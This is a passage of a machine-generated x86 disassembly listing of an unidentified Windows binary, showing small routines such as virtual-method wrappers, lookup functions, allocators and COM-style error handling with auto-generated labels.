		jz	short loc_69B69C35
		dec	eax
		jz	short loc_69B69C2F
		dec	eax
		jz	short loc_69B69C29
		dec	eax
		jz	short loc_69B69C23
		dec	eax
		jz	short loc_69B69C1D
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B69C1D:				; CODE XREF: sub_69B69C05+13j
		mov	eax, dword_69B9B338
		retn
; ---------------------------------------------------------------------------


loc_69B69C23:				; CODE XREF: sub_69B69C05+10j
		mov	eax, dword_69B9B340
		retn
; ---------------------------------------------------------------------------


loc_69B69C29:				; CODE XREF: sub_69B69C05+Dj
		mov	eax, dword_69B9B348
		retn
; ---------------------------------------------------------------------------


loc_69B69C2F:				; CODE XREF: sub_69B69C05+Aj
		mov	eax, dword_69B9B350
		retn
; ---------------------------------------------------------------------------


loc_69B69C35:				; CODE XREF: sub_69B69C05+7j
		mov	eax, dword_69B9B358
		retn
; ---------------------------------------------------------------------------


loc_69B69C3B:				; CODE XREF: sub_69B69C05+4j
		mov	eax, dword_69B9B360
		retn
sub_69B69C05	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69C41	proc near		; DATA XREF: .text:69B15864o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		mov	ecx, [esi+10h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	ecx, [esi+14h]
		test	ecx, ecx
		pop	esi
		jz	short locret_69B69C61
		mov	eax, [ecx]
		jmp	dword ptr [eax+5Ch]
; ---------------------------------------------------------------------------

locret_69B69C61:			; CODE XREF: sub_69B69C41+19j
		retn	8
sub_69B69C41	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69C64	proc near		; DATA XREF: .text:69B15804o
		push	3
		pop	eax
		retn
sub_69B69C64	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69C68	proc near		; DATA XREF: .text:69B157E4o
		sub	ecx, 8
		jmp	sub_69B69BD3
sub_69B69C68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69C70	proc near		; DATA XREF: .text:69B15818o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ecx]
		and	[ebp+var_10], 0
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_8]
		mov	[ebp+var_C], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	ecx, [ebp+var_10]
		call	sub_69B64008
		cmp	[ebp+var_10], 1
		jz	short loc_69B69CAC
		or	esi, 0FFFFFFFFh
		jmp	short loc_69B69CB0
; ---------------------------------------------------------------------------


loc_69B69CAC:				; CODE XREF: sub_69B69C70+35j
		movzx	esi, [ebp+var_8]


loc_69B69CB0:				; CODE XREF: sub_69B69C70+3Aj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B69C70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69CBF	proc near		; DATA XREF: .text:69B1581Co

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		lea	edx, [ebp+var_20]
		push	edx
		push	[ebp+arg_8]
		xor	ebx, ebx
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	ecx, [esi+8]
		push	[ebp+arg_0]
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1C], bl
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		cmp	[ebp+var_20], ebx
		jz	short loc_69B69D21
		mov	ecx, [esi+0Ch]
		cmp	ecx, ebx
		jz	short loc_69B69D0F
		mov	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		cmp	[ebp+var_10], ebx
		jz	short loc_69B69D21


loc_69B69D0F:				; CODE XREF: sub_69B69CBF+37j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi+10h]
		lea	ecx, [ebp+var_20]
		call	sub_69B64363


loc_69B69D21:				; CODE XREF: sub_69B69CBF+30j
					; sub_69B69CBF+4Ej
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B69CBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69D37	proc near		; CODE XREF: sub_69B60622+4Cp
					; sub_69B60689+D1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B15788 SIZE 0000003A BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69D49
		mov	ecx, eax
		jmp	loc_69B15788
; ---------------------------------------------------------------------------


loc_69B69D49:				; CODE XREF: sub_69B69D37+9j
		xor	eax, eax
		retn	0Ch
sub_69B69D37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69D4E	proc near		; CODE XREF: sub_69B69DE1+3j
					; DATA XREF: .text:69B15924o
		mov	eax, offset off_69B69D54
		retn
sub_69B69D4E	endp

; ---------------------------------------------------------------------------
off_69B69D54	dd offset off_69B29C74	; DATA XREF: sub_69B69D4Eo
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B69D5C	proc near		; DATA XREF: .text:69B158F8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	eax, ecx
		mov	edx, [eax+0Ch]
		mov	ecx, [eax+8]
		mov	esi, [ecx]
		push	edx
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	dword ptr [eax+10h]
		push	[esp+14h+arg_0]
		call	dword ptr [esi+58h]
		pop	esi
		retn	0Ch
sub_69B69D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69D7E	proc near		; DATA XREF: .text:69B15940o
		mov	ecx, [ecx+18h]
		and	ecx, 7
		xor	eax, eax
		dec	ecx
		jz	short loc_69B69DB6
		dec	ecx
		jz	short loc_69B69DB0
		dec	ecx
		jz	short loc_69B69DAA
		dec	ecx
		jz	short loc_69B69DA4
		dec	ecx
		jz	short loc_69B69D9E
		dec	ecx
		jnz	short locret_69B69DBB
		mov	eax, dword_69B9B388
		retn
; ---------------------------------------------------------------------------


loc_69B69D9E:				; CODE XREF: sub_69B69D7E+15j
		mov	eax, dword_69B9B3A8
		retn
; ---------------------------------------------------------------------------


loc_69B69DA4:				; CODE XREF: sub_69B69D7E+12j
		mov	eax, dword_69B9B390
		retn
; ---------------------------------------------------------------------------


loc_69B69DAA:				; CODE XREF: sub_69B69D7E+Fj
		mov	eax, dword_69B9B398
		retn
; ---------------------------------------------------------------------------


loc_69B69DB0:				; CODE XREF: sub_69B69D7E+Cj
		mov	eax, dword_69B9B3B0
		retn
; ---------------------------------------------------------------------------


loc_69B69DB6:				; CODE XREF: sub_69B69D7E+9j
		mov	eax, dword_69B9B3A0

locret_69B69DBB:			; CODE XREF: sub_69B69D7E+18j
		retn
sub_69B69D7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69DBC	proc near		; DATA XREF: .text:69B15944o
					; .text:69B15A1Co ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		mov	ecx, [esi+10h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+5Ch]
sub_69B69DBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69DD8	proc near		; DATA XREF: .text:69B15724o
					; .text:69B158E4o ...
		xor	eax, eax
		inc	eax
		retn
sub_69B69DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69DDC	proc near		; DATA XREF: .text:69B157D4o
					; .text:69B158B4o ...

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	short sub_69B69E1B
sub_69B69DDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69DE1	proc near		; DATA XREF: .text:69B158C4o
		sub	ecx, 8
		jmp	sub_69B69D4E
sub_69B69DE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69DE9	proc near		; DATA XREF: .text:69B1573Co
					; .text:69B158FCo ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_8]
		mov	eax, [ecx]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword ptr [eax+50h]
		cmp	eax, 0FFFFFFFFh
		jz	short locret_69B69E10
		mov	ecx, [esp+arg_C]
		xor	edx, edx
		inc	edx
		cmp	eax, edx
		setz	al
		mov	[ecx], edx
		mov	[ecx+8], al

locret_69B69E10:			; CODE XREF: sub_69B69DE9+14j
		retn	10h
sub_69B69DE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69E13	proc near		; DATA XREF: .text:69B157FCo
					; .text:69B158DCo ...
		sub	ecx, 8
		jmp	sub_69B69ED4
sub_69B69E13	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69E1B	proc near		; CODE XREF: sub_69B69DDC+3j
					; DATA XREF: .text:69B15834o ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B69EEF
		test	[esp+4+arg_0], 1
		jz	short loc_69B69E30
		push	esi
		call	sub_69B1829F


loc_69B69E30:				; CODE XREF: sub_69B69E1B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B69E1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69E36	proc near		; CODE XREF: sub_69B60828+C7p
					; sub_69B60916+A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B15868 SIZE 0000003A BYTES

		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69E48
		mov	ecx, eax
		jmp	loc_69B15868
; ---------------------------------------------------------------------------


loc_69B69E48:				; CODE XREF: sub_69B69E36+9j
		xor	eax, eax
		retn	0Ch
sub_69B69E36	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69E4D	proc near		; CODE XREF: sub_69B69EA8+3j
					; DATA XREF: .text:69B159FCo
		mov	eax, offset off_69B69E54
		retn
sub_69B69E4D	endp

; ---------------------------------------------------------------------------
		align 4
off_69B69E54	dd offset off_69B29C74	; DATA XREF: sub_69B69E4Do
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69E5C	proc near		; DATA XREF: .text:69B159D0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		mov	ecx, [esi+8]
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B69E9A
		push	[ebp+arg_8]
		mov	ecx, [esi+0Ch]
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	[ebp+arg_0]
		call	dword ptr [eax+50h]
		cmp	edi, 1
		jnz	short loc_69B69E94
		mov	edi, eax
		jmp	short loc_69B69E9A
; ---------------------------------------------------------------------------


loc_69B69E94:				; CODE XREF: sub_69B69E5C+32j
		test	eax, eax
		jnz	short loc_69B69E9A
		xor	edi, edi


loc_69B69E9A:				; CODE XREF: sub_69B69E5C+1Cj
					; sub_69B69E5C+36j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B69E5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69EA2	proc near		; DATA XREF: .text:69B15A18o
		mov	eax, dword_69B9B3C8
		retn
sub_69B69EA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69EA8	proc near		; DATA XREF: .text:69B1599Co
		sub	ecx, 8
		jmp	short sub_69B69E4D
sub_69B69EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69EAD	proc near		; DATA XREF: .text:69B159CCo
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		push	edi
		xor	edi, edi
		test	ecx, ecx
		jz	short loc_69B69EC1
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		mov	edi, eax


loc_69B69EC1:				; CODE XREF: sub_69B69EAD+Bj
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		jz	short loc_69B69ECF
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		and	edi, eax


loc_69B69ECF:				; CODE XREF: sub_69B69EAD+19j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B69EAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69ED4	proc near		; CODE XREF: sub_69B69E13+3j
					; DATA XREF: .text:69B1585Co ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	0
		add	esi, 14h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B69ED4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69EEF	proc near		; CODE XREF: sub_69B69E1B+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B653F7
sub_69B69EEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69F0C	proc near		; CODE XREF: sub_69B609DE+7Ep
					; sub_69B62631+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B15948 SIZE 00000033 BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69F1E
		mov	ecx, eax
		jmp	loc_69B15948
; ---------------------------------------------------------------------------


loc_69B69F1E:				; CODE XREF: sub_69B69F0C+9j
		xor	eax, eax
		retn	8
sub_69B69F0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69F23	proc near		; CODE XREF: sub_69B69F9D+3j
					; DATA XREF: .text:69B15AD4o
		mov	eax, offset off_69B69F2C
		retn
sub_69B69F23	endp

; ---------------------------------------------------------------------------
		align 4
off_69B69F2C	dd offset off_69B29C74	; DATA XREF: sub_69B69F23o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69F34	proc near		; DATA XREF: .text:69B15AA8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		mov	ecx, [esi+8]
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		mov	edi, eax
		cmp	edi, 1
		jz	short loc_69B69F74
		push	[ebp+arg_8]
		mov	ecx, [esi+0Ch]
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	[ebp+arg_0]
		call	dword ptr [eax+50h]
		test	edi, edi
		jnz	short loc_69B69F6C
		mov	edi, eax
		jmp	short loc_69B69F74
; ---------------------------------------------------------------------------


loc_69B69F6C:				; CODE XREF: sub_69B69F34+32j
		cmp	eax, 1
		jnz	short loc_69B69F74
		xor	edi, edi
		inc	edi


loc_69B69F74:				; CODE XREF: sub_69B69F34+1Dj
					; sub_69B69F34+36j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B69F34	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69F7C	proc near		; DATA XREF: .text:69B158F4o
					; .text:69B15AA4o
		push	esi
		mov	esi, [ecx+8]
		mov	ecx, [ecx+0Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+4Ch]
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		and	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B69F7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69F97	proc near		; DATA XREF: .text:69B15AF0o
		mov	eax, dword_69B9B3C0
		retn
sub_69B69F97	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69F9D	proc near		; DATA XREF: .text:69B15A74o
		sub	ecx, 8
		jmp	short sub_69B69F23
sub_69B69F9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69FA2	proc near		; CODE XREF: sub_69B60A82+74p
					; sub_69B62D2E+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B15A20 SIZE 00000033 BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69FB4
		mov	ecx, eax
		jmp	loc_69B15A20
; ---------------------------------------------------------------------------


loc_69B69FB4:				; CODE XREF: sub_69B69FA2+9j
		xor	eax, eax
		retn	8
sub_69B69FA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69FB9	proc near		; CODE XREF: sub_69B69FED+85p
					; sub_69B6A1FC+4Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B69FDC
		cmp	[esp+arg_4], 0
		jz	short loc_69B69FD8
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	offset dword_69B25E54
		push	eax
		call	dword ptr [ecx]
		jmp	short locret_69B69FEA
; ---------------------------------------------------------------------------


loc_69B69FD8:				; CODE XREF: sub_69B69FB9+Dj
		xor	eax, eax
		jmp	short locret_69B69FEA
; ---------------------------------------------------------------------------


loc_69B69FDC:				; CODE XREF: sub_69B69FB9+6j
		mov	eax, [esp+arg_4]
		test	eax, eax
		jz	short loc_69B69FE7
		and	dword ptr [eax], 0


loc_69B69FE7:				; CODE XREF: sub_69B69FB9+29j
		xor	eax, eax
		inc	eax

locret_69B69FEA:			; CODE XREF: sub_69B69FB9+1Dj
					; sub_69B69FB9+21j
		retn	8
sub_69B69FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69FED	proc near		; DATA XREF: .text:69B15B48o
		push	34h
		push	offset dword_69B6A0C0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B6A012
		mov	eax, 80004005h
		jmp	loc_69B6A0B2
; ---------------------------------------------------------------------------


loc_69B6A012:				; CODE XREF: sub_69B69FED+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-2Ch], edi
		mov	[ebp-4], edi
		mov	ebx, [ebp+8]
		mov	ecx, [ebx+10h]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		cmp	ecx, edi
		jz	short loc_69B6A06A
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	esi, eax
		mov	[ebp-38h], esi
		cmp	esi, edi
		jz	short loc_69B6A06A
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		mov	[ebp-3Ch], eax
		cmp	eax, edi
		jz	short loc_69B6A06A
		mov	ecx, [esi]
		push	edi
		mov	edx, [eax]
		mov	[ebp-40h], ecx
		mov	ecx, eax
		call	dword ptr [edx+0B4h]
		push	eax
		mov	ecx, esi
		mov	eax, [ebp-40h]
		call	dword ptr [eax+5Ch]
		mov	[ebp-2Ch], eax


loc_69B6A06A:				; CODE XREF: sub_69B69FED+42j
					; sub_69B69FED+50j ...
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-2Ch]
		mov	ecx, ebx
		call	sub_69B69FB9
		jmp	short loc_69B6A097
; ---------------------------------------------------------------------------


loc_69B6A079:				; DATA XREF: .text:69B6A0C4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A082:				; DATA XREF: .text:69B6A0C8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6A097:				; CODE XREF: sub_69B69FED+8Aj
		mov	[ebp-44h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-44h]


loc_69B6A0B2:				; CODE XREF: sub_69B69FED+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B69FED	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B6A0C0	dd 0FFFFFFFFh			dd offset loc_69B6A079
		dd offset loc_69B6A082

; =============== S U B	R O U T	I N E =======================================



sub_69B6A0CC	proc near		; CODE XREF: sub_69B6A15E+31p
					; sub_69B6A1FC+39p ...
		mov	eax, [ecx+14h]
		test	eax, eax
		jnz	short locret_69B6A0D6
		mov	eax, [ecx+10h]

locret_69B6A0D6:			; CODE XREF: sub_69B6A0CC+5j
		retn
sub_69B6A0CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A0D7	proc near		; CODE XREF: sub_69B6A53C+3Dp
					; sub_69B6A5E4+3Dp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		push	1
		push	eax
		call	sub_69B664E8
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		add	esi, 14h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B6A0D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A0FC	proc near		; CODE XREF: sub_69B6A147-54648p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset dword_69B6A118
		lea	ecx, [esi+4]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6A0FC	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B6A118	dd 57B4B691h, 11D32388h, 8000398Eh, 99C1ACC7h; ---------------------------------------------------------------------------


loc_69B6A128:				; DATA XREF: .text:off_69B280B8o
		push	esi
		mov	esi, ecx
		call	sub_69B45BC7
		test	byte ptr [esp+8], 1
		jz	short loc_69B6A140
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B6A140:				; CODE XREF: .text:69B6A135j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B6A147	proc near		; CODE XREF: sub_69B624A2+9Fp
					; sub_69B6A404+40p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B15AF8 SIZE 00000023 BYTES

		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B6A159
		mov	ecx, eax
		jmp	loc_69B15AF8
; ---------------------------------------------------------------------------


loc_69B6A159:				; CODE XREF: sub_69B6A147+9j
		xor	eax, eax
		retn	4
sub_69B6A147	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6A15E	proc near		; DATA XREF: .text:69B15B28o
		push	1Ch
		push	offset dword_69B6A1F0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B6A180
		mov	eax, 80004005h
		jmp	short loc_69B6A1E5
; ---------------------------------------------------------------------------


loc_69B6A180:				; CODE XREF: sub_69B6A15E+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], edi
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		mov	esi, eax
		mov	ebx, [esi]
		push	1
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		push	eax
		push	edi
		mov	ecx, esi
		call	dword ptr [ebx+48h]
		mov	[ebp-2Ch], edi
		jmp	short loc_69B6A1CE
; ---------------------------------------------------------------------------


loc_69B6A1AE:				; DATA XREF: .text:69B6A1F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A1B7:				; DATA XREF: .text:69B6A1F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B6A1CE:				; CODE XREF: sub_69B6A15E+4Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B6A1E5:				; CODE XREF: sub_69B6A15E+20j
		call	sub_69B1853C
		retn	8
sub_69B6A15E	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B6A1F0	dd 0FFFFFFFFh			dd offset loc_69B6A1AE
		dd offset loc_69B6A1B7

; =============== S U B	R O U T	I N E =======================================



sub_69B6A1FC	proc near		; DATA XREF: .text:69B15B2Co
		push	20h
		push	offset dword_69B6A298
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B6A21C
		mov	eax, 80004005h
		jmp	short loc_69B6A290
; ---------------------------------------------------------------------------


loc_69B6A21C:				; CODE XREF: sub_69B6A1FC+17j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D22
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		push	dword ptr [ebp+0Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B69FB9
		jmp	short loc_69B6A26D
; ---------------------------------------------------------------------------


loc_69B6A24F:				; DATA XREF: .text:69B6A29Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A258:				; DATA XREF: .text:69B6A2A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6A26D:				; CODE XREF: sub_69B6A1FC+51j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D46
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B6A290:				; CODE XREF: sub_69B6A1FC+1Ej
		call	sub_69B1853C
		retn	8
sub_69B6A1FC	endp

; ---------------------------------------------------------------------------
dword_69B6A298	dd 0FFFFFFFFh			dd offset loc_69B6A24F
		dd offset loc_69B6A258

; =============== S U B	R O U T	I N E =======================================



sub_69B6A2A4	proc near		; DATA XREF: .text:69B15B30o
		push	20h
		push	offset dword_69B6A340
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B6A2C4
		mov	eax, 80004005h
		jmp	short loc_69B6A338
; ---------------------------------------------------------------------------


loc_69B6A2C4:				; CODE XREF: sub_69B6A2A4+17j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D22
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B6A0CC
		push	dword ptr [ebp+0Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+40h]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B69FB9
		jmp	short loc_69B6A315
; ---------------------------------------------------------------------------


loc_69B6A2F7:				; DATA XREF: .text:69B6A344o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6A300:				; DATA XREF: .text:69B6A348o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6A315:				; CODE XREF: sub_69B6A2A4+51j
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D46
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B6A338:				; CODE XREF: sub_69B6A2A4+1Ej
		call	sub_69B1853C
		retn	8
sub_69B6A2A4	endp

; ---------------------------------------------------------------------------
dword_69B6A340	dd 0FFFFFFFFh			dd offset loc_69B6A2F7
		dd offset loc_69B6A300

; =============== S U B	R O U T	I N E =======================================



sub_69B6A34C	proc near		; DATA XREF: .text:69B15B34o
		push	20h
		push	offset dword_69B6A3F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B6A36E
		mov	eax, 80004005h
		jmp	short loc_69B6A3EC
; ---------------------------------------------------------------------------


loc_69B6A36E:				; CODE XREF: sub_69B6A34C+19j
		push	edi
